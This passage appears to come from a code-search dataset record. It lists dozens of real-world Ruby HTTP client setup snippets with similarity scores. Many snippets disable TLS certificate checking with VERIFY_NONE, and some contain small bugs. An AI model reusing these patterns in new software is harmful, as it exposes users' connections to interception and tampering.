DeathByCaptcha.new(self.username, self.password, :http)\\n end\",\n \"def connection\\r\\n @connectoin ||= HTTPClient.new\\r\\n end\",\n \"def http_connection\\n (@shared_tcp_connection ||\\n (@in_session && establish_shared_connection) ||\\n create_http_connection)\\n end\",\n \"def conn\\n @conn ||= connect\\n if block_given?\\n yield @conn\\n else\\n @conn\\n end\\n rescue *HttpExceptions\\n @conn = connect\\n return if defined?(once)\\n once = true && retry\\n end\",\n \"def make_request(url,headers,query)\\n c = HTTPClient.new\\n c.get_content(url,query,headers)\\nend\",\n \"def new_http()\\n http = Net::HTTP.new(@uri.host, @uri.port)\\n if @uri.to_s.include?(\\\"https\\\")\\n @log.debug(\\\"uri contains https. Enabling https\\\")\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n return http\\nend\",\n \"def http_request(original_uri, params)\\n max_iterations = 60\\n iterations = 0\\n response = nil\\n while iterations < max_iterations do\\n begin\\n @https_client.with_https_connection(original_uri.host, original_uri.port, original_uri.path, query: original_uri.query) do |conn, uri|\\n conn.open_timeout = params[:open_timeout] ? params[:open_timeout] : 4 * 60\\n conn.read_timeout = params[:read_timeout] ? params[:read_timeout] : 4 * 60\\n if params[:request]\\n request = params[:request].new(uri, params[:headers])\\n else\\n request = Net::HTTP::Get.new uri.request_uri\\n end\\n if params[:body]\\n request.body = params[:body]\\n end\\n puts \\\"Request: \\\" + request.method + \\\" \\\" + request.uri.to_s\\n response = conn.request(request)\\n end\\n break\\n rescue Errno::ECONNREFUSED, Errno::EADDRNOTAVAIL\\n puts \\\"Error: #{$!}, url=#{original_uri}\\\"\\n if iterations == max_iterations - 1\\n puts(\\\"Request failed after #{max_iterations} attempts: #{$!}, url=#{original_uri}\\\")\\n raise\\n else\\n sleep 1\\n end\\n end\\n iterations += 1\\n end\\n #puts \\\"Response: #{response.inspect}\\\"\\n response\\n end\",\n \"def initialize(host, use_ssl, port)\\n self.handle = Net::HTTP.new(host, port)\\n self.handle.open_timeout = @@open_timeout # seems to have no effect?\\n self.handle.read_timeout = @@read_timeout # seems to have an effect on establishing tcp connection??\\n self.handle.close_on_empty_response = true # seems to have no effect?\\n if use_ssl\\n self.handle.use_ssl = true\\n # respond_to? check is a ruby-1.9.1-p378 (+/-?) bug workaround\\n self.handle.ssl_timeout = @@ssl_timeout if OpenSSL::SSL::SSLContext.new.respond_to?(:ssl_timeout=)\\n self.handle.verify_mode = @@ssl_verify_mode\\n self.handle.ca_file = @@ssl_ca_file\\n self.handle.verify_depth = @@ssl_verify_depth\\n end\\n self.cookies = {}\\n end\",\n \"def http\\n @http ||= Net::HTTP::Proxy(@proxy.host, @proxy.port).new @endpoint.host, @endpoint.port\\n end\",\n \"def http_inst\\n http = Net::HTTP.new(@uri.host, @uri.port)\\n if @uri.scheme.downcase.eql? 'https'\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n http\\n end\",\n \"def http_client(options)\\n Net::HTTP.new(endpoint.host, endpoint.port).tap do |http|\\n if endpoint.instance_of?(URI::HTTPS)\\n cert = self.class.fingerprint_cert(endpoint.host)\\n http.use_ssl = true\\n http.verify_callback = ->(ok, store) { verify_fingerprint(cert.serial, ok, store) } if cert\\n options[:ssl].call(http) if options[:ssl].respond_to?(:call)\\n end\\n end\\n end\",\n \"def build_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.open_timeout = 60\\n http.read_timeout = 60\\n return http\\n end\",\n \"def create_http(uri)\\r\\n http = Net::HTTP.new(uri.host, uri.port)\\r\\n if uri.instance_of? URI::HTTPS\\r\\n http.use_ssl = true\\r\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\r\\n end\\r\\n return http\\r\\n end\",\n \"def instantiate_http(uri) # :nodoc:\\n http_class = if @proxy && @proxy[:host]\\n Net::HTTP::Proxy(@proxy[:host], @proxy[:port], @proxy[:username], @proxy[:password])\\n else\\n Net::HTTP\\n end\\n\\n http = http_class.new(uri.host, uri.port)\\n if uri.scheme == \\\"https\\\"\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n end\\n http.open_timeout = @open_timeout\\n http.read_timeout = @read_timeout\\n\\n http\\n end\",\n \"def http_handle(version: :v1)\\n @__handles ||= {}\\n\\n if @__handles[version].nil?\\n uri = API_ENDPOINTS[version]\\n handle = Net::HTTP.new(uri.host, uri.port)\\n handle.use_ssl = true\\n @__handles[version] = handle\\n end\\n\\n @__handles[version]\\n end\",\n \"def initialize(cert_file: nil)\\n @client = HTTPClient.new\\n\\n # this callback allows following redirects from http to https, otherwise it will not\\n @client.redirect_uri_callback = ->(_uri, res) {\\n res.header['location'][0]\\n }\\n\\n # ran into problems like https://github.com/nahi/httpclient/issues/181 so forcing basic auth\\n @client.force_basic_auth = true\\n @client.set_basic_auth(nil, APP_CONFIG[:repository][:username], APP_CONFIG[:repository][:password])\\n\\n # TODO: remove this once Merritt has fixed their certs on their stage server.\\n @client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE # TODO: remove for extra security once Merritt gets real certs\\n @client.ssl_config.set_trust_ca(cert_file) if cert_file\\n @client.connect_timeout = TIMEOUT\\n @client.send_timeout = TIMEOUT\\n @client.receive_timeout = TIMEOUT\\n @client.keep_alive_timeout = TIMEOUT\\n end\",\n \"def http_client\\n client = Selenium::WebDriver::Remote::Http::Persistent.new\\n #client.proxy_uri=\\\"http://abc\\\"\\n #client.read_timeout = 180\\n #client.socket_options = {}\\n client\\n end\",\n \"def http_reset\\n @http = nil\\n end\",\n \"def http_communication\\n @http_communication ||= http_communication_class.new(uri)\\n end\",\n \"def conn\\n return @conn if defined?(@conn)\\n @conn = Net::HTTP.new(resource[:source].host, resource[:source].port)\\n @conn.open_timeout = resource[:http_open_timeout] || nil\\n if resource[:source].scheme == 'https'\\n @conn.use_ssl = true\\n @conn.ca_path = resource[:http_ssl_ca_path] if resource[:http_ssl_ca_path]\\n @conn.ca_file = resource[:http_ssl_ca_file] if resource[:http_ssl_ca_file]\\n @conn.cert = OpenSSL::X509::Certificate.new(File.read(resource[:http_ssl_cert])) if resource[:http_ssl_cert]\\n @conn.key = OpenSSL::PKey::RSA.new(File.read(resource[:http_ssl_key])) if resource[:http_ssl_key]\\n @conn.verify_mode = if resource[:http_ssl_verify] === :true\\n OpenSSL::SSL::VERIFY_PEER\\n else\\n OpenSSL::SSL::VERIFY_NONE\\n end\\n @conn.verify_depth = 5\\n end\\n @conn\\n end\",\n \"def cache_client\\n @m ||= Mutex.new\\n @m.synchronize do\\n if instance_variable_defined?(:@cache_client)\\n @cache_client\\n else\\n dir = Rails.root.join(CacheDirectory.find_by(name: 'efs_twitter_user')&.dir || 'tmp/efs_cache')\\n FileUtils.mkdir_p(dir) unless File.exists?(dir)\\n options = {expires_in: 1.month, race_condition_ttl: 5.minutes}\\n @cache_client = ActiveSupport::Cache::FileStore.new(dir, options)\\n end\\n end\\n end\",\n \"def select_http_obj\\n if @proxy_server\\n http = Net::HTTP::Proxy(@proxy_server[:address],@proxy_server[:port],\\n @proxy_server[:user],@proxy_server[:password]).new(@url.host,@url.port)\\n else\\n http = Net::HTTP.new(@url.host, @url.port)\\n end\\n http.use_ssl=true if @url.class==URI::HTTPS\\n if !@verify_ssl\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE if @url.class==URI::HTTPS\\n end\\n http\\n end\",\n \"def open\\n @socket = TCPSocket.new(@uri.host, @uri.port)\\n\\n @ssl = OpenSSL::SSL::SSLSocket.new(@socket, @ssl_context)\\n @ssl.sync_close = true\\n @ssl.hostname = @uri.hostname\\n @ssl.connect\\n\\n @http = HTTP2::Client.new\\n @http.on(:frame) do |bytes|\\n @ssl.print(bytes)\\n @ssl.flush\\n end\\n\\n @main_queue = Threading::DispatchQueue.new\\n @work_queue = Threading::DispatchQueue.new\\n @requests = Threading::Counter.new\\n @exceptions = Queue.new\\n @worker_thread = start_worker_thread!\\n end\",\n \"def close\\n # Close the HTTP client:\\n @client.close if @client\\n end\",\n \"def close\\n # Close the HTTP client:\\n @client.close if @client\\n end\",\n \"def http\\n @http ||= HTTPClient.new(\\n agent_name: \\\"CPRClient/#{CPRClient::VERSION}\\\",\\n default_header: { 'Content-Type' => 'text/xml' }\\n )\\n end\",\n \"def retrieve\\n http_class = http_proxy @proxy[:host], @proxy\\n\\n @_req = http_class.new @uri.host, @uri.port\\n\\n @_req.read_timeout = @timeout if @timeout\\n @_req.use_ssl = true if @uri.scheme =~ /^https$/\\n\\n elapsed_time = nil\\n socket = nil\\n socket_io = nil\\n\\n @_res = @_req.start do |http|\\n socket = http.instance_variable_get \\\"@socket\\\"\\n socket.debug_output = socket_io = StringIO.new\\n\\n start_time = Time.now\\n res = http.request self.http_request, @body\\n elapsed_time = Time.now - start_time\\n\\n res\\n end\\n\\n Kronk.cookie_jar.set_cookies_from_headers @uri.to_s, @_res.to_hash if\\n self.use_cookies\\n\\n @response = Response.new socket_io, @_res, self\\n @response.time = elapsed_time\\n\\n @response\\n end\",\n \"def http\\n @http ||= begin\\n require 'curb'\\n CurbBackend.new(self)\\n rescue LoadError, NameError\\n warn t(\\\"install_curb\\\")\\n NetHTTPBackend.new(self)\\n end\\n end\",\n \"def get_client(uri, http_type, method)\\n return @client\\n end\",\n \"def https_client(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.use_ssl = true\\n http\\n end\",\n \"def infinite_stream\\n Net::HTTP.start(@uri.host, @uri.port, :use_ssl => @uri.scheme == 'https') do |http|\\n request = Net::HTTP::Get.new @uri\\n request['Authorization'] = @header['Authorization'] #applying authentication header obtained by user\\n http.request request do |response|\\n open @stream_temp_file, 'w' do |io|\\n response.read_body do |chunk|\\n io.write chunk\\n end\\n end\\n end\\n end\\n end\",\n \"def initialize(url:, http_client: T.unsafe(nil)); end\",\n \"def create_http_connection\\n proxy_server = control.proxy_server\\n # Proxy returns regular HTTP if @proxy_host is nil (the default)\\n http_class = Net::HTTP::Proxy(proxy_server.name, proxy_server.port,\\n proxy_server.user, proxy_server.password)\\n\\n http = http_class.new((@collector.ip || @collector.name), @collector.port)\\n if Agent.config[:ssl]\\n begin\\n # Jruby 1.6.8 requires a gem for full ssl support and will throw\\n # an error when use_ssl=(true) is called and jruby-openssl isn't\\n # installed\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n http.ca_file = cert_file_path\\n rescue StandardError, LoadError\\n msg = \\\"Agent is configured to use SSL, but SSL is not available in the environment. \\\"\\n msg << \\\"Either disable SSL in the agent configuration, or install SSL support.\\\"\\n raise UnrecoverableAgentException.new(msg)\\n end\\n end\\n ::NewRelic::Agent.logger.debug(\\\"Created net/http handle to #{http.address}:#{http.port}\\\")\\n http\\n end\",\n \"def http_get(path, keep_alive = true)\\n uri = safe_parse_http_uri(path)\\n history = []\\n loop do\\n logger.debug(\\\"http_get(#{uri})\\\")\\n\\n # keep history of live connections for more efficient redirection.\\n host = uri.host\\n connection = @connections[host] ||= Rightscale::HttpConnection.new(:logger => logger, :exception => QueryFailed)\\n\\n # prepare request. ensure path not empty due to Net::HTTP limitation.\\n #\\n # note that the default for Net::HTTP is to close the connection after\\n # each request (contrary to expected conventions). we must be explicit\\n # about keep-alive if we want that behavior.\\n request = Net::HTTP::Get.new(uri.path)\\n request['Connection'] = keep_alive ? 'keep-alive' : 'close'\\n @headers.each do |name, value|\\n request[name] = value\\n end\\n\\n # get.\\n response = connection.request(:protocol => uri.scheme, :server => uri.host, :port => uri.port, :request => request)\\n return response.body if response.kind_of?(Net::HTTPSuccess)\\n if response.kind_of?(Net::HTTPServerError)\\n logger.debug(\\\"Request failed but can retry; #{response.class.name}\\\")\\n return nil\\n elsif response.kind_of?(Net::HTTPRedirection)\\n # keep history of redirects.\\n history << uri.to_s\\n location = response['Location']\\n uri = safe_parse_http_uri(location)\\n if uri.absolute?\\n if history.include?(uri.to_s)\\n logger.error(\\\"Circular redirection to #{location.inspect} detected; giving up\\\")\\n return nil\\n elsif history.size >= MAX_REDIRECT_HISTORY\\n logger.error(\\\"Unbounded redirection to #{location.inspect} detected; giving up\\\")\\n return nil\\n else\\n # redirect and continue in loop.\\n logger.debug(\\\"Request redirected to #{location.inspect}: #{response.class.name}\\\")\\n end\\n else\\n # can't redirect without an absolute location.\\n logger.error(\\\"Unable to redirect to metadata server location #{location.inspect}: #{response.class.name}\\\")\\n return nil\\n end\\n else\\n # not retryable.\\n #\\n # log an error and return empty string.\\n #\\n # note that the EC2 metadata server is known to give malformed\\n # responses on rare occasions, but the right_http_connection will\\n # consider these to be 'bananas' and retry automatically (up to a\\n # pre-defined limit).\\n logger.error(\\\"Request for metadata failed: #{response.class.name}\\\")\\n return \\\"\\\"\\n end\\n end\\n end\",\n \"def new_http(uri)\\n if config.http_proxy\\n proxy = URI.parse(config.http_proxy)\\n Net::HTTP.new(uri.host, uri.port, proxy.host, proxy.port, proxy.user, proxy.password)\\n else\\n Net::HTTP.new(uri.host, uri.port)\\n end\\n end\",\n \"def initialize(options={})\\n @debug_dev = options[:debug_dev]\\n @autodiscover_url = options[:autodiscover_url]\\n\\n @http = HTTPClient.new\\n @http.force_basic_auth = true # Saves one unathenticated request\\n @http.connect_timeout = options[:connect_timeout] || CONNECT_TIMEOUT_DEFAULT\\n @http.debug_dev = @debug_dev if @debug_dev\\n\\n @redirect_count = 0\\n end\",\n \"def send_request(http_client, usecase, meth, uri, req, params, headers, container, counter)\\n container.response = http_client.send(meth, uri, params, headers) # booya!\\n end\",\n \"def build_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n if (uri.scheme == 'https')\\n http.use_ssl = true\\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n OpenSSL.debug = @options[:log_level].to_s.strip.downcase == 'trace'\\n else\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n OpenSSL.debug = false\\n end\\n end\\n http.read_timeout = (@options[:read_timeout] || 60).to_i\\n http.open_timeout = (@options[:open_timeout] || 60).to_i\\n http\\n end\",\n \"def build_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.use_ssl = true\\n http\\n end\",\n \"def create_http_connection(uri)\\n new_http(uri).tap do |http|\\n if config.http_timeout\\n http.open_timeout = config.http_timeout\\n http.read_timeout = config.http_timeout\\n end\\n configure_ssl(http) if uri.scheme == \\\"https\\\"\\n end\\n end\",\n \"def stream opts={}, &block\\n retried = false\\n opts = opts.merge(:request => self)\\n\\n begin\\n start_time = Time.now\\n conn = connection\\n conn.start unless conn.started?\\n conn_time = Time.now - start_time\\n\\n @response = conn.request http_request, nil, opts, &block\\n @response.conn_time = conn_time\\n\\n @response\\n\\n rescue EOFError, Errno::EPIPE\\n raise if retried\\n @connection = nil\\n retried = true\\n retry\\n end\\n end\",\n \"def http_method(ssl, method, client_chunks, server_chunks)\\n\\n latch1 = Utils::Latch.new(1)\\n\\n Vertx::internal_go {\\n server = HttpServer.new\\n if ssl\\n server.ssl = true\\n server.key_store_path = '../keystores/server-keystore.jks'\\n server.key_store_password = 'wibble'\\n server.trust_store_path = '../keystores/server-truststore.jks'\\n server.trust_store_password = 'wibble'\\n server.client_auth_required = true\\n end\\n\\n server.request_handler { |req|\\n assert(req.headers['foo'] == 'bar')\\n req.response.put_header('wibble', 'quark')\\n chunk_count = 0\\n req.data_handler { |data|\\n assert(\\\"client-chunk-#{chunk_count}\\\" == data.to_s)\\n chunk_count += 1\\n }\\n req.response.chunked = true\\n req.end_handler {\\n for i in 0..server_chunks - 1 do\\n req.response.write_str(\\\"server-chunk-#{i}\\\")\\n end\\n req.response.end\\n }\\n }\\n server.listen(8080)\\n\\n client = HttpClient.new\\n client.port = 8080;\\n if ssl\\n client.ssl = true\\n client.key_store_path = '../keystores/client-keystore.jks'\\n client.key_store_password = 'wibble'\\n client.trust_store_path = '../keystores/client-truststore.jks'\\n client.trust_store_password = 'wibble'\\n end\\n\\n request = client.request(method, \\\"/someurl\\\") { |resp|\\n assert(200 == resp.status_code)\\n assert('quark' == resp.headers['wibble'])\\n chunk_count = 0\\n resp.data_handler { |data|\\n assert(\\\"server-chunk-#{chunk_count}\\\" == data.to_s)\\n chunk_count += 1\\n }\\n\\n resp.end_handler {\\n assert(chunk_count = server_chunks)\\n server.close {\\n client.close\\n latch1.countdown\\n }\\n }\\n }\\n\\n request.chunked = true\\n request.put_header('foo', 'bar')\\n\\n for i in 0..client_chunks - 1 do\\n request.write_str(\\\"client-chunk-#{i}\\\")\\n end\\n\\n request.end\\n }\\n\\n assert(latch1.await(5))\\n\\n end\",\n \"def create_sesame_con\\n @os_conn = EventMachine::HttpRequest.new($open_sesame_url)\\n end\",\n \"def http_read_sock(uri, http_method = \\\"GET\\\")\\n sock = Socket.mogilefs_new_request(uri.host, uri.port,\\n \\\"#{http_method} #{uri.request_uri} HTTP/1.0\\\\r\\\\n\\\\r\\\\n\\\",\\n @get_file_data_timeout)\\n buf = sock.recv_nonblock(4096, Socket::MSG_PEEK)\\n head, body = buf.split(/\\\\r\\\\n\\\\r\\\\n/, 2)\\n\\n # we're dealing with a seriously slow/stupid HTTP server if we can't\\n # get the header in a single read(2) syscall.\\n if head =~ %r{\\\\AHTTP/\\\\d+\\\\.\\\\d+\\\\s+200\\\\s*} &&\\n head =~ %r{^Content-Length:\\\\s*(\\\\d+)}i\\n sock.mogilefs_size = $1.to_i\\n case http_method\\n when \\\"HEAD\\\" then sock.close\\n when \\\"GET\\\" then sock.recv(head.size + 4, 0)\\n end\\n return sock\\n end\\n sock.close rescue nil\\n raise MogileFS::InvalidResponseError,\\n \\\"#{http_method} on #{uri} returned: #{head.inspect}\\\"\\n end\",\n \"def initialize(path, subpath = nil, auth: false, client: nil)\\n @auth = auth\\n @client = client || Plaid.client\\n verify_configuration\\n\\n path = File.join(@client.env, path.to_s)\\n path = File.join(path, subpath.to_s) if subpath\\n\\n @uri = URI.parse(path)\\n\\n @http = Net::HTTP.new(@uri.host, @uri.port)\\n @http.use_ssl = true\\n\\n @http.read_timeout = Plaid.read_timeout || DEFAULT_TIMEOUT\\n end\",\n \"def http_downloader\\n http.timeout(30).max_size(Danbooru.config.max_file_size).use(:spoof_referrer).use(:unpolish_cloudflare)\\n end\",\n \"def setup_http_client(logger: nil)\\n proxy = Clients::ProxyClient.from_env\\n Clients::HttpClient.new(proxy: proxy, logger: logger)\\n end\",\n \"def execute_http_request(http, request)\\n @response = http.request(request)\\n @http_headers = {}\\nend\",\n \"def initialize_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n http\\n end\",\n \"def http(&block)\\n http = Net::HTTP.new(@uri.host, @uri.port)\\n if @uri.port == 443\\n http.use_ssl = true\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n return http.start(&block) if block_given?\\n http\\n end\",\n \"def load_from_redis_http\\n require 'redis'\\n redis = Redis.connect\\n reload_http_from_redis redis\\n end\",\n \"def async_http\\n unless @proxy.empty?\\n proxy_opts = @proxy.dup\\n proxy_opts[:authorization] = [\\n proxy_opts.delete(:username),\\n proxy_opts.delete(:password)\\n ] if proxy_opts[:username] || proxy_opts[:password]\\n end\\n\\n EventMachine::HttpRequest.new @uri,\\n :connect_timeout => @timeout,\\n :inactivity_timeout => @timeout,\\n :proxy => proxy_opts\\n end\",\n \"def build_http\\n http = Net::HTTP.new(@timber_host, @timber_port)\\n http.set_debug_output(Config.instance.debug_logger) if Config.instance.debug_logger\\n if @timber_scheme == 'https'\\n http.use_ssl = true\\n # Verification on Windows fails despite having a valid certificate.\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n http.read_timeout = 30\\n http.ssl_timeout = 10\\n http.open_timeout = 10\\n http\\n end\",\n \"def http_get(ctxt, url, cached_path, limit = 10, http = nil)\\n # too many redirects...\\n raise ArgumentError, 'too many HTTP redirects' if limit == 0\\n\\n uri = url.is_a?(URI) ? url : URI.parse(url)\\n\\n local_date = Time.parse(\\\"1985-10-28\\\")\\n local_date = File.mtime cached_path if File.exists? cached_path\\n\\n if http.nil?\\n Net::HTTP.start uri.hostname, uri.port, :use_ssl => uri.scheme == 'https' do |http|\\n return http_get_internal ctxt, uri, cached_path, limit, http, local_date\\n end\\n else\\n return http_get_internal ctxt, uri, cached_path, limit, http, local_date\\n end\\n end\",\n \"def start_http(server,path,port,scheme,headers) # :nodoc:\\n if (@http[server].nil?)\\n begin\\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\\n if scheme == \\\"https\\\"\\n @http[server].use_ssl = true\\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n @http[server].start\\n rescue\\n raise OpenStack::Compute::Exception::Connection, \\\"Unable to connect to #{server}\\\"\\n end\\n end\\n end\",\n \"def build_request()\\n @http = Net::HTTP.new(@uri.host, @uri.port)\\n @http.use_ssl = true\\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n\\n end\",\n \"def prepare_client(host, port, username)\\n client = WebHDFS::Client.new(host, port, username)\\n client.httpfs_mode = @use_httpfs\\n client.open_timeout = @open_timeout\\n client.read_timeout = @read_timeout\\n client.retry_known_errors = @retry_known_errors\\n client.retry_interval = @retry_interval if @retry_interval\\n client.retry_times = @retry_times if @retry_times\\n client\\n end\",\n \"def make_request(req)\\n if @http && @http.address == req.uri.host && !@http.started?\\n @http.start\\n else\\n @http = Net::HTTP.new(req.uri.host, req.uri.port)\\n @http.use_ssl = req.ssl?\\n @http.verify_mode = OpenSSL::SSL::VERIFY_NONE if req.ssl?\\n @http.set_debug_output($stderr) if req.debug\\n @http.start\\n end\\n @http.request(req.http_request)\\n end\",\n \"def build_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.set_debug_output($stdout) if @logger.debug?\\n if (uri.scheme == 'https')\\n http.use_ssl = true\\n OpenSSL.debug = @logger.debug?\\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\\n else\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n end\\n http.read_timeout=60\\n http.open_timeout=60\\n http\\n end\",\n \"def init_http\\r\\n http = Net::HTTP.new(HOST, PORT)\\r\\n http.use_ssl = true\\r\\n http.set_debug_output(@parameters.http_debug_stream) if @parameters.http_debug_stream\\r\\n http\\r\\n end\",\n \"def nexus\\n client = HTTPClient.new\\n client.send_timeout = 600\\n client.receive_timeout = 600\\n # https://github.com/nahi/httpclient/issues/63\\n client.set_auth(nil, configuration['username'], configuration['password'])\\n client.www_auth.basic_auth.challenge(configuration['url'])\\n client.ssl_config.verify_mode = OpenSSL::SSL::VERIFY_NONE unless @ssl_verify\\n return client\\n end\",\n \"def with_client\\n begin\\n @client = client_class.new\\n rescue SystemExit,NoMemoryError\\n raise\\n rescue Exception => detail\\n puts detail.backtrace if Puppet[:trace]\\n Puppet.err \\\"Could not create instance of #{client_class}: #{detail}\\\"\\n return\\n end\\n yield @client\\n ensure\\n @client = nil\\n end\",\n \"def client\\n @client ||= Curl::Easy.new\\n end\",\n \"def http host, port=nil\\n return @http if (@http && (@http.started?) && (@host == host))\\n close if (@http && (@http.started?) && (@host != host))\\n @host = host\\n @connection_opened_at = Time.now\\n Log.info \\\"Opening HTTP connection for #{@host} at #{@connection_opened_at}\\\"\\n @http = Net::HTTP.new(@host)\\n @http.set_debug_output($stderr) if options[:debug_requests]\\n @http.start\\n end\",\n \"def _client\\n @client ||= XMLRPCClient.new(@uri.host, @uri.path, @uri.port, nil, nil, nil, nil, @uri.scheme == 'https' ? @ssl_verify : false, @timeout)\\n end\",\n \"def build_http(uri)\\n http = Net::HTTP.new(uri.host, uri.port)\\n http.set_debug_output($stdout) if trace?\\n if (uri.scheme == 'https')\\n http.use_ssl = true\\n if (@options[:ssl_verify_mode].to_s.strip.downcase == 'peer')\\n http.verify_mode = OpenSSL::SSL::VERIFY_PEER\\n http.ca_file = @options[:ssl_ca_file] if @options[:ssl_ca_file]\\n else\\n http.verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n end\\n http.read_timeout=60\\n http.open_timeout=60\\n http\\n end\",\n \"def start_http(server,path,port,scheme,headers) # :nodoc:\\n if (@http[server].nil?)\\n begin\\n @http[server] = Net::HTTP::Proxy(self.proxy_host, self.proxy_port).new(server,port)\\n if scheme == \\\"https\\\"\\n @http[server].use_ssl = true\\n @http[server].verify_mode = OpenSSL::SSL::VERIFY_NONE\\n end\\n @http[server].start\\n rescue\\n raise CloudServers::Exception::Connection, \\\"Unable to connect to #{server}\\\"\\n end\\n end\\n end\",\n \"def process(client)\\n @request = client.gets\\n # wait until server isn't recieving anything\\n return if @session.gets.nil?\\n return if @session.gets.chop.length.zero?\\n\\n request_made = HTTPUtils.make_proper_request(client, @request)\\n\\n return if request_made[:url] == '/favicon.ico' # ignore favicon request\\n\\n request_to_handle = HTTPUtils.make_request_object(request_made)\\n\\n handle_request(request_to_handle)\\n end\",\n \"def create_new_http_request\\n # Create a new HTTP request instance\\n request_spec = @data[:request][:instance]\\n http_class = \\\"Net::HTTP::#{request_spec.verb._camelize}\\\"\\n http_request = http_class._constantize::new(request_spec.path)\\n # Set the request body\\n if request_spec.is_io?\\n http_request.body_stream = request_spec.body\\n else\\n http_request.body = request_spec.body\\n end\\n # Copy headers\\n request_spec.headers.each { |header, value| http_request[header] = value }\\n # Save the new request\\n request_spec.raw = http_request\\n # Set user-agent\\n if @data[:options].has_key?(:connection_user_agent)\\n http_request['user-agent'] ||= @data[:options][:connection_user_agent]\\n end\\n http_request\\n end\",\n \"def with_http_response(url, &block)\\n uri = URI(url)\\n\\n request = Net::HTTP::Get.new(uri)\\n request.initialize_http_header(request_headers)\\n request_options[:use_ssl] = true\\n\\n environment_proxy = ignore_env_proxy ? nil : :ENV\\n\\n Net::HTTP.start(\\n uri.host,\\n uri.port,\\n request_proxy&.host || environment_proxy,\\n request_proxy&.port,\\n request_proxy&.user,\\n request_proxy&.password,\\n request_options\\n ) do |http|\\n http.request(request, &block)\\n end\\n end\",\n \"def read\\n open(self.path) do |file|\\n file.each_line do |uri|\\n ImageFetcher::Fetcher::Http.new(uri)\\n end\\n end\\n end\",\n \"def http_get(path, keep_alive = true)\\n uri = safe_parse_http_uri(path)\\n history = []\\n loop do\\n Log.debug(\\\"http_get(#{uri})\\\")\\n\\n # keep history of live connections for more efficient redirection.\\n host = uri.host\\n connection = Rightscale::HttpConnection.new(:logger => Log, :exception => QueryFailed)\\n\\n # prepare request. ensure path not empty due to Net::HTTP limitation.\\n #\\n # note that the default for Net::HTTP is to close the connection after\\n # each request (contrary to expected conventions). we must be explicit\\n # about keep-alive if we want that behavior.\\n request = Net::HTTP::Get.new(uri.path)\\n request['Connection'] = keep_alive ? 'keep-alive' : 'close'\\n\\n # get.\\n response = connection.request(:protocol => uri.scheme, :server => uri.host, :port => uri.port, :request => request)\\n return response.body if response.kind_of?(Net::HTTPSuccess)\\n if response.kind_of?(Net::HTTPServerError) || response.kind_of?(Net::HTTPNotFound)\\n Log.debug(\\\"Request failed but can retry; #{response.class.name}\\\")\\n return nil\\n elsif response.kind_of?(Net::HTTPRedirection)\\n # keep history of redirects.\\n location = response['Location']\\n uri = safe_parse_http_uri(location)\\n else\\n # not retryable.\\n #\\n # note that the EC2 metadata server is known to give malformed\\n # responses on rare occasions, but the right_http_connection will\\n # consider these to be 'bananas' and retry automatically (up to a\\n # pre-defined limit).\\n Log.error(\\\"HTTP request failed: #{response.class.name}\\\")\\n raise QueryFailed, \\\"HTTP request failed: #{response.class.name}\\\"\\n end\\n end\\n end\"\n]","isConversational":false},"negative_scores":{"kind":"list like","value":["0.7146774","0.70165783","0.6930367","0.6742742","0.67411035","0.66780573","0.6503097","0.634753","0.6335905","0.62919784","0.62766254","0.62766254","0.6063918","0.601859","0.601859","0.5992209","0.5974368","0.5968513","0.593387","0.593387","0.59308416","0.5882552","0.58714867","0.5847534","0.584539","0.5810362","0.5785963","0.57702583","0.57557154","0.5747861","0.57367295","0.57002115","0.56945807","0.56920785","0.56807","0.56670827","0.56632984","0.56440955","0.5627485","0.5615221","0.55631894","0.55349356","0.5522219","0.5518874","0.550817","0.5487343","0.54798794","0.54745376","0.5417851","0.54176307","0.5409911","0.5409905","0.5409905","0.54015183","0.53951615","0.5392484","0.5387024","0.5385525","0.536814","0.53676265","0.53561395","0.53529066","0.5352365","0.533039","0.5326389","0.5318685","0.53161126","0.5312685","0.5305382","0.52927506","0.5285601","0.52855074","0.52801985","0.5279317","0.52791464","0.52790564","0.5278205","0.5267771","0.52553207","0.5247256","0.52413374","0.52367437","0.52234375","0.52227926","0.5209573","0.5206833","0.5205591","0.52049124","0.5195546","0.51911885","0.5189912","0.51869655","0.5172383","0.5170768","0.5168177","0.51654786","0.5165447","0.5164771","0.5146661","0.51379"],"string":"[\n \"0.7146774\",\n \"0.70165783\",\n \"0.6930367\",\n \"0.6742742\",\n \"0.67411035\",\n \"0.66780573\",\n \"0.6503097\",\n \"0.634753\",\n \"0.6335905\",\n \"0.62919784\",\n \"0.62766254\",\n \"0.62766254\",\n \"0.6063918\",\n \"0.601859\",\n \"0.601859\",\n \"0.5992209\",\n \"0.5974368\",\n \"0.5968513\",\n \"0.593387\",\n \"0.593387\",\n \"0.59308416\",\n \"0.5882552\",\n \"0.58714867\",\n \"0.5847534\",\n 